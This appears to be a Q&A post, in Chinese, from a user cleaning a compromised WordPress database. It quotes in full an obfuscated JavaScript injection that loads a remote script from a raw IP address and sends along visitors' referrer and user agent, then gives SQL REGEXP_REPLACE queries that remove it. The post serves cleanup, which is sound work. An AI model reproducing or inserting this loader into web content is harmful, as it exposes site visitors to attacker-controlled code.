【发布时间】:2019-10-27 09:59:22
【问题描述】:
以下代码已被注入到我客户的 WordPress 数据库的多行中:
<noindex>
<script id="wpinfo-pst1" type="text/javascript" rel="nofollow">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btssh|var|u0026u|referrer|yatyb||js|php'.split('|'),0,{}))
</script>
</noindex>
我需要从每个表格行中成功删除 <noindex></noindex> 标记及其中的所有内容。
此查询成功选择了所有受影响的行(共 15066 行):
SELECT *
FROM 'wp_posts'
WHERE REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '') LIKE '%noindex%'
当我尝试使用类似的UPDATE 查询时,返回零个结果。我当前的查询如下:
UPDATE 'wp_posts'
SET 'post_content' = REGEXP_REPLACE ('post_content', '<noindex>(.*)</noindex>', '')
WHERE 'ID' = 1933;
设置 ID 仅用于测试目的。服务器正在运行MariaDB 10.2。非常感谢任何建议或提示。
使用 REGEXP_REPLACE 的成功 UPDATE 查询
UPDATE
`wp_posts`
SET
`post_content` = REGEXP_REPLACE (`post_content`, '<noindex>[[:ascii:]]*</noindex>', '');
【问题讨论】: